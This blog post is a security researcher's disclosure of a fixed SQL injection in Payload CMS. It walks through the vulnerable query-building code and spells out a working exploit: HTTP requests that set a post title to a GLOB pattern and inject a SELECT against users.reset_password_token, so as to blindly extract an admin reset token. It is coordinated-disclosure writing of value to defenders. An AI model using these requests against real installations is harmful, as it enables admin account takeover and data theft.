Payload CMS SQL Injection
Payload CMS is an open-source,full-stack framework/CMS built natively on Next.js. It gives you a backend, database layer, Admin Panel, authentication, APIs, access control, uploads, and content management without having to build those pieces yourself. they always highlight “Define your schema in code and get a full TypeScript backend and admin panel. Instantly.” in their Docs to ensure easy deployment, they handle everyting for you from admin panel , apis , database and more. PayloadCMS is one of the most fast growing platforms as they have 589.1k downloads weekly.
I have been playing with Ai Tools/Models/agents harness for a while trying to get the most benefits out of it in some areas specially vulnerability research and CVE Discovery. Don’t worry, this blog post isn’t just another piece of AI slop content :“D
This research results goes back to June 2026 but they just fixed it so i can blog about it, in this post we will go through what i did to discover such bug and the reason of this post is not just showing some basic SQL Injection example or showing how great AI is at discovering vulnerabilites but the technique of exploitation is really cool and even frontier models at that time wasn’t able to spot it initialy without guidance and hinting which makes it even cooler. also a side note the Maintainers said before “We regularly red-team our own codebase, including review of pull requests as they’re opened and merged, so issues are caught before they ship rather than after.”
Environment
Any version >= 3.0.0 & < 3.90.0, >= 4.0.0-canary.0 & <4.0.0-canary.34 can be used to reproduce the issue , the setup is failry easy check here. what is great about payloadCMS is the database handling that you don’t need to worry about at all as it is database agnostic meaning we just install the database adapter we want like (SQLite/PostgresQL/MongoDB) and it will just work without needing to worry about our collection code.
What is a collection ?
In PayloadCMS if we want to create a table or data model we uses collections and the CMS makes it easy for us to create CRUD on it later.Collection is a group of documents that all share the same shape i.e the equivalent of a database table (SQLite/Postgres) or a Mongo collection. Each collection you define automatically becomes: a DB table, a set of REST + GraphQL CRUD endpoints (e.g. /api/posts), and an editing screen in the admin UI. You declare one as a TypeScript object typed CollectionConfig, then register it in payload.config.ts under collections:
Example Syntax :
import type { CollectionConfig } from 'payload'
export const Posts: CollectionConfig = {
slug: 'posts', // REQUIRED: unique id → table name, API path (/api/posts)
admin: { // how it appears in the admin UI
useAsTitle: 'title', // which field labels each document in lists
},
access: { // authorization rules (who can do what)
read: () => true, // e.g. public read; omit → defaults (auth required)
create: ({ req }) => Boolean(req.user),
},
auth: true, // makes it a login-enabled collection (like Users)
upload: true, // makes it a file-upload collection (like Media)
hooks: { // lifecycle logic (beforeChange, afterRead, ...)
beforeChange: [/* fn */],
},
fields: [ // REQUIRED: the document's schema — its columns
{ name: 'title', type: 'text', required: true },
{ name: 'content', type: 'richText' },
],
}
Focusing on
{ name: 'title', type: 'text', required: true },
{ name: 'content', type: 'richText' },
the name is the column name (as posts.title in DB) and type means single string finally required means must not be null. the richText means the value is stored as a structured JSON document describing the formatted content as payloadCMS supports some kind of editor so it renders there.
My AI Setup During this journey was just claude pro 20$ with cvp enabled and at that time i have built some skils for the harness from other projects.
Discovery
Usually when i am doing any vulnerability research i am hunting Critical/High bugs. not really interesed on just collecting CVEs with some low/medium meaningless bugs. My Goal here was either to get Remote Code execution or SQL injection Bug , why ?
- the application is based on typescript a javascript framework which usually got affected by bugs like prototype pollution or even dependency Confusion bugs.
- from the history of the advisories i found an Old SQL Injection advisory at here in older versions but patched now so i though how this happens in such famous CMS?
The old CVE didn’t say much about what is going on just said :
Certain request inputs were not properly validated. An attacker could craft requests that influence SQL query execution, potentially exposing or modifying data in collections.
and there is no public POCs for that, so easy ai task “check this advisory note and check the patch fixed what in code using diff and analyze what fixed regarding this advisory”

They are using some file parseParams.ts for santization , the commit has comment :
fix: stricter input validation (#15868)
Misc input validation improvements, sanitizing path segments in both SQL
and JSON queries, standardizing the processing of column and JSON paths
across different adapters, and making adjustments to traversal and alias
generation to align behavior across components.
the bug was at !isNaN(val) part in the comparison as a user supplied string will bypass it easily.
while i was reading the patch and that part in the background a claude session was grinding all the day on that part (of course stopped a bit because pro limit sucks). after the grind and multiple prompts and waves it didn’t reach a SQL Injection vulnerability in the code base, it found some other bugs though but it didn’t worth my attention.
after i read the parseParams.ts in latest version backthen :

i noted something very interesting :
- the
!isNan()is back but in another context - the
else if ['inbranch doesn’t have same single quote wrapping input as theelsebrnach which makes me thought this maybe not intenteded …
let formattedValue = val
if (adapter.name === 'sqlite' && operator === 'equals' && !isNaN(val)) {
formattedValue = val
} else if (['in', 'not_in'].includes(operator) && Array.isArray(val)) {
formattedValue = `(${val.map((v) => `${escapeSQLValue(v)}`).join(',')})`
} else {
formattedValue = `'${operatorKeys[operator].wildcard}${escapeSQLValue(val)}${operatorKeys[operator].wildcard}'`
}
if (operator === 'exists') {
formattedValue = ''
}
...
const rawSQLQuery = `${jsonQuerySelector} ${operatorKeys[operator].operator} ${formattedValue}`
constraints.push(sql.raw(rawSQLQuery))
Even if a string is passed and processed because of the missing ' they use escapeSQLValue on it so of course it is santizied, is it ?

For string input it checks value ganist SAFE_STRING_REGEX which is allowlist /^[\w @.-+:]*$/` this pattern means :
- any character must be a letters,digits,underscore,space,
@,-,+,:,. - then if passed will escape the
\or"to be\\or\"then return that escaped string. - note
-is allowed meaning--will pass.
the next question is how to reach that code snippet ?
- reading the file will see it is inside outer if condition :
- meaning the field type should be json or rich text
if( (['json', 'richText'].includes(field.type) ||
(field.type === 'blocks' && adapter.blocksAsJSON)) &&
Array.isArray(pathSegments) &&
pathSegments.length > 1
)
- if it
richTextit passes this gate but there is anotherifforrichTextinside that break early sojsonfits us more. - From there the next check :
} else if (['in', 'not_in'].includes(operator) && Array.isArray(val)) {
Sending GET /api/posts?where[meta.role][not_in][0]=adminwill Return every post whose meta.role is not admin and passes checks as :
field.type∈json/richTextpathSegments.length > 1- not richText type
['in','not_in'].includes(operator)Array.isArray(val)->[not_in][0]=admin → ['admin']
Now as we can reach that part what to do to get SQL Injection with this limited allowlist ?
Exploitation
From here agents pushed enough to find a feature exists there that can be abused aganist the CMS itself to complete the exploit , which is user can create a record in the collection (configurable of course) and update it with PATCH.
Example Create post record (we have that privilege)
POST /api/posts {"title":"x","data":{"foo":"admin@example.com"}}
update that record :
PATCH /api/posts/{id} {"title":"f1*"}
then it used a feature in SQLite called GLOB not very common but here what it does
SELECT *
FROM employees
WHERE first_name GLOB department_code;
if department_code hold values like mesba* and any record returns mesbah test it will return that row.
it uses this feature as now the posts.title has value f1* , in the injection it uses the following :
?where[and][0][id][equals]=3&where[and][1][data.foo][in][0]=SELECT email FROM users WHERE users.reset_password_token GLOB title
with this payload it passes the safe strings regex filter as it doesn’t contain single quotes or any blocked character. the payload means the following :
{
"where": {
"and": [
{ "id": { "equals": 3 } },
{ "data.foo": { "in": ["SELECT email FROM users WHERE users.reset_password_token GLOB title"] } }
]
}
}
here it does the folowing :
wherewithandas index is Payload’s AND combinator — it takes an array of conditions, and0/1are that array’s indices.data.foosatisfies two reachability gates at once: data is type: ‘json’, and the dot yieldspathSegments.length > 1
after we set the title before to f1* it now compared aganist the reset_password_token and we can repeaat the patch request with next pattern and recheck result here to get admin token via blind extraction normally.
Timeline
- 23 Jun : Initial discovery reported to the PayloadCMS team.
- 29 Jun : Followed up, reaching out to the PayloadCMS team through email, Discord, and more.
- 06 Jul : Reported to the CERT CVE Numbering Authority.
- 14 Sep : CERT assigned CVE-2026-63316 and contacted the vendor.
- 21 Sep : GitHub advisory created with credits: GHSA-pj7x-6wpf-pgvp